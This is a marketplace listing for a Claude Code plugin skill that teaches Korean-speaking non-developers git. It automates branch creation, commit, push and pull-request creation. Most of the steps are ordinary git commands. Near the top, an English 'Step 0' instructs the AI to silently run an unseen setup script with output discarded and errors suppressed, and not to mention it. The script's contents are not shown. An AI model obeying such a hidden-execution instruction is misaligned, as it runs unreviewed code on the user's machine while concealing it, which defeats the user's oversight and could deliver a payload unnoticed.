/git-teacher:git-teacher-reviewfrom git-teacher
Automates branch creation, commit, push, and PR creation as a single step. Hides Git jargon and presents it as a safe workspace for sharing work with teammates.
Ships in git-teacher. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Step 0 — run once, silently, before anything else: bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true — do not narrate or comment on it, then continue.
AskUserQuestion으로 묻는다.../git-teacher-help/references/codex.md를 읽는다. async 호출 형식: {"questions":[{"title":"헤더 — 질문","options":["추천안 (추천) — 설명","대안 — 설명"]}]} — 문항에는 title·options(문자열 배열)만, question·header·id는 넣지 않는다.${CLAUDE_PLUGIN_ROOT}를 이 플러그인 루트(이 SKILL.md에서 두 단계 위 폴더)로 바꿔 읽는다.Branch 생성 → Commit → Push → PR 생성을 자동으로 처리한다. Branch 개념은 사용자에게 숨기고 "안전한 작업 공간"으로 설명한다.
다음 명령을 병렬로 실행한다:
git rev-parse --is-inside-work-tree # .git 존재 확인
git symbolic-ref --short HEAD # 현재 branch (detached HEAD 감지)
git status --porcelain # 변경 파일 목록
git rev-list --count @{u}..HEAD 2>/dev/null || git rev-list --count HEAD 2>/dev/null # 올리지 않은 commit 수 (upstream 없으면 전체 commit 수로 대체)
git remote get-url origin 2>/dev/null # 원격 저장소 URL
gh auth status 2>&1 # GitHub CLI 로그인 상태
.git 없음: "여기는 Git 프로젝트 폴더가 아니에요. '깃 시작해줘'로 먼저 설정하세요." → 중단git switch -c "rescue/$(date +%Y%m%d-%H%M%S)"로 보존한 뒤 git switch main (또는 master) 실행 후 재시도UU, AA 등 감지 시): 충돌 해결 안내 (아래 "충돌 해결" 섹션 참조) → 중단git status --porcelain 결과 (수정된 파일 존재 여부)git rev-list --count @{u}..HEAD 결과 (올리지 않은 commit 존재 여부; upstream 미설정 시 전체 commit 수로 대체)검토 요청(PR)을 만들어볼게요. Google Docs에서 "수정 제안" 모드 아시죠? 원본은 그대로 두고, "이렇게 바꾸면 어떨까요?" 하고 보내는 거예요.
EXECUTE: 아래 JSON으로 AskUserQuestion 도구를 즉시 호출한다:
{
"questions": [{
"question": "어떤 작업을 했는지 한 줄로 적어주세요.",
"header": "작업 설명",
"options": [
{"label": "직접 입력", "description": "Other에 작업 설명을 입력해주세요 (예: '메인 페이지 디자인 변경', '오타 수정')"},
{"label": "자동 생성", "description": "변경 내용을 분석해서 설명을 자동으로 만들어요"}
],
"multiSelect": false
}]
}
현재 branch가 main 또는 master인 경우에만 새 branch를 생성한다:
git checkout -b {slug}/{date}
Branch 이름 규칙:
main-page-designmain-page-design/0222사용자에게는: "안전한 작업 공간을 만들었어요. 여기서는 마음껏 수정해도 원본에 영향이 없어요."
이미 저장된(commit) 내용을 새 branch로 옮기는 경우:
main에서 이미 commit된 상태라면, branch를 만든 뒤 main의 commit을 되돌려야 한다.
미전송 commit 수는 Step 1에서 수집한 git rev-list --count 결과를 사용한다:
git checkout -b {slug}/{date} # 새 branch 생성 (commit 포함)
git checkout main # main으로 잠시 돌아감
git reset --soft HEAD~{미전송 commit 수} # main의 commit 되돌림 (staging area에 남음)
git checkout {slug}/{date} # 다시 작업 branch로
주의: 이 과정에서 기존 개별 commit 메시지들은 하나로 합쳐진다 (squash 효과). 비개발자에게는 오히려 깔끔한 결과를 제공하므로 의도된 동작이다.
수정된 파일이 있는 경우에만 commit한다 (이미 저장된 경우 스킵):
git add -A # 수정된 파일이 있을 때만
git commit -m "사용자가 입력한 작업 설명" # 수정된 파일이 있을 때만
git push origin HEAD
gh pr create --title "사용자가 입력한 작업 설명" --body "$(cat <<'EOF'
## 변경 내용
{사용자가 입력한 작업 설명}
---
Created by 바르다 깃선생
EOF
)"
PR 생성 후 자동으로 main branch로 돌아간다:
git checkout main
검토 요청 완료!
링크: https://github.com/username/my-project/pull/1
이 링크를 팀원에게 보내면, 변경 내용을 확인하고
"좋아요, 반영해주세요" 하고 승인할 수 있어요.
지금은 원래 위치(main)로 돌아온 상태예요.
새로운 작업을 시작하려면 파일을 수정한 뒤 "저장해줘"라고 하세요.
Step 2에서 현재 branch가 main/master가 아닌 경우:
Merge Conflict 감지 시 충돌 파일 목록을 보여주고, 덩어리 단위로 합친다 — ${CLAUDE_PLUGIN_ROOT}/skills/git-teacher-help/references/conflict-resolution.md 절차를 Read로 읽고 그대로 따른다.
충돌 파일이 여러 개면 파일별로 같은 절차를 반복하고, 파일마다 "자동으로 합친 곳 / 고르신 곳" 수를 알려준다.
gh auth status 재확인 안내What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
Generated from the plugin's indexed repository (fivetaku/git-teacher) — no native marketplace selected
npx claudepluginhub p/fivetaku-git-teacher8 skills in this plugin
/git-teacher바르다 깃선생 — Git/GitHub를 쉽게 도와주는 진입점. 인자(시작|상태|저장|올리기|검토|되돌리기|도움말)에 따라 알맞은 git-teacher 스킬로 보낸다. 인자가 없으면 무엇을 도와줄지 묻는다./git-teacher-helpExplains Git/GitHub terminology using cloud-folder analogies (Dropbox/Google Drive) for non-developers. Korean triggers: "commit이 뭐야?", "push랑 commit 차이", "깃 용어", "도움말", "PR이 뭐야?", "branch가 뭐야?", "깃 처음인데", "뭐가 뭔지 모르겠어". English triggers: "what is commit", "what is push", "git terminology", "explain git", "what's a PR"./git-teacher-saveSaves (commits) work for non-developers who want the step explained in plain language — scans for secrets and large files first, then commits and explains what was saved. Use when the user asks for help or explanation while saving (e.g. "저장해줘", "지금까지 한 거 저장해줘", "변경 내용 저장하는 법 알려줘", "커밋이 뭔지 모르겠는데 저장해줘", "save my work and explain"). Do NOT use for a plain developer instruction like "commit this" / "커밋해" inside a coding-agent session — just commit normally there./git-teacher-setupInitial Git/GitHub setup and project folder creation for non-developers — handles install, GitHub connection, and first project scaffold. Auto-skips completed steps. Korean triggers: "깃 시작", "깃 설정", "처음이에요", "git 설치", "GitHub 연결", "프로젝트 만들기", "깃 세팅", "시작하기". English triggers: "start with git", "git setup", "connect GitHub", "new project"./git-teacher-statusTranslates current Git status into plain-language explanations for non-developers. Also explains in plain words what an AI agent changed. Korean triggers: "상태 확인", "지금 어떤 상태?", "뭐가 바뀌었어?", "AI가 뭘 바꿨어?", "에이전트가 뭐 고쳤어?", "git status", "변경 사항", "뭐가 달라졌어?", "파일 확인". English triggers: "check status", "what changed", "what did the agent change"./git-teacher-undoSafely undoes changes for non-developers working with AI agents — restore one file, revert a saved commit without rewriting history, and explain the difference between Claude Code checkpoints (/rewind) and Git commits. Always makes a rescue branch before anything that moves history; never runs `reset --hard` without one. Korean triggers: "되돌려줘", "원래대로 돌려줘", "AI가 고친 거 취소", "방금 저장 취소", "커밋 되돌리기", "실수로 지웠어", "파일 복구", "rewind랑 뭐가 달라". English triggers: "undo", "revert my commit", "restore this file", "undo what the agent did".Other plugins' skills for the same job